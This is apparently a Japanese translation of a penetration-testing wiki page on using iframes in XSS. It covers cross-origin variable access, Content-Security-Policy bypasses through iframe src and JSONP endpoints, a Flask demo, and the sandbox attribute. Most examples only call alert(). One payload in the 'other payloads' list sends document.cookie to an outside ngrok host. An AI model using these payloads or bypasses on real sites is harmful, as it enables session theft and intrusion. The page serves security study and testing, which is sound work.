Iframes in XSS
iframedページのコンテンツを示す方法は3つあります:
src
を介してURLを示す(URLはクロスオリジンまたは同一オリジンである可能性があります)
data:
プロトコルを使用してコンテンツを示すsrc
を介して
親と子の変数にアクセスする
Copy < html >
< script >
var secret = "31337s3cr37t" ;
</ script >
< iframe id = "if1" src = "http://127.0.1.1:8000/child.html" ></ iframe >
< iframe id = "if2" src = "child.html" ></ iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" ></ iframe >
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
< script >
function access_children_vars (){
alert ( if1 .secret);
alert ( if2 .secret);
alert ( if3 .secret);
alert ( if4 .secret);
}
setTimeout (access_children_vars , 3000 );
</ script >
</ html >
Copy <!-- content of child.html -->
< script >
var secret = "child secret" ;
alert ( parent .secret)
</ script >
もしあなたが前のhtmlにhttpサーバー(例えばpython3 -m http.server
)を介してアクセスすると、すべてのスクリプトが実行されることに気づくでしょう(CSPがそれを防いでいないため)。親はどのiframe内の secret
変数にもアクセスできません 、そしてif2とif3のiframeのみ(同一サイトと見なされる)は、元のウィンドウの秘密にアクセスできます 。
if4がnull
オリジンと見なされることに注意してください。
CSPを持つIframes
次のバイパスでは、iframedページへのレスポンスにJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。
script-src
のself
値は、data:
プロトコルやsrcdoc
属性を使用してJSコードの実行を許可しません。
しかし、CSPのnone
値でさえ、src
属性にURL(完全なものまたは単にパス)を指定したiframeの実行を許可します。
したがって、次のようにページのCSPをバイパスすることが可能です:
Copy < html >
< head >
< meta http-equiv = "Content-Security-Policy" content = "script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" >
</ head >
< script >
var secret = "31337s3cr37t" ;
</ script >
< iframe id = "if1" src = "child.html" ></ iframe >
< iframe id = "if2" src = "http://127.0.1.1:8000/child.html" ></ iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" ></ iframe >
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</ html >
注意してください、前のCSPはインラインスクリプトの実行のみを許可しています 。
しかし、if1
と if2
のスクリプトのみが実行されますが、 if1
のみが親の秘密にアクセスできるでしょう 。
したがって、script-src 'none'
であっても、サーバーにJSファイルをアップロードし、iframeを介して読み込むことができればCSPをバイパスすることが可能です 。これは同じサイトのJSONPエンドポイントを悪用することで実行される可能性もあります 。
次のシナリオでテストできます。ここでは、script-src 'none'
であってもクッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください:
Copy import flask
from flask import Flask
app = Flask ( __name__ )
@app . route ( "/" )
def index ():
resp = flask . Response ( '<html><iframe id="if1" src="cookie_s.html"></iframe></html>' )
resp . headers [ 'Content-Security-Policy' ] = "script-src 'self'"
resp . headers [ 'Set-Cookie' ] = 'secret=THISISMYSECRET'
return resp
@app . route ( "/cookie_s.html" )
def cookie_s ():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__" :
app . run ()
その他のペイロードが発見された
Copy <!-- This one requires the data: scheme to be allowed -->
< iframe srcdoc = '<script src="data:text/javascript,alert(document.domain)"></script>' ></ iframe >
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
iframe内のコンテンツは、sandbox
属性を使用することで追加の制限を受けることがあります。デフォルトでは、この属性は適用されず、制限はありません。
使用されると、sandbox
属性はいくつかの制限を課します:
コンテンツは、ユニークなソースからのものであるかのように扱われます。
リンクが他のブラウジングコンテキストと相互作用することを防ぎます。
<embed>
、<object>
、<applet>
、または類似のタグを介したプラグインの使用が禁止されます。
コンテンツ自体によるコンテンツのトップレベルブラウジングコンテキストのナビゲーションが防止されます。
自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスがブロックされます。
属性の値は空のまま(sandbox=""
)にして、前述のすべての制限を適用できます。あるいは、iframeが特定の制限から免除されるように、スペースで区切られた特定の値のリストに設定することもできます。
Copy < iframe src = "demo_iframe_sandbox.htm" sandbox ></ iframe >
SOPにおけるIframes
以下のページを確認してください: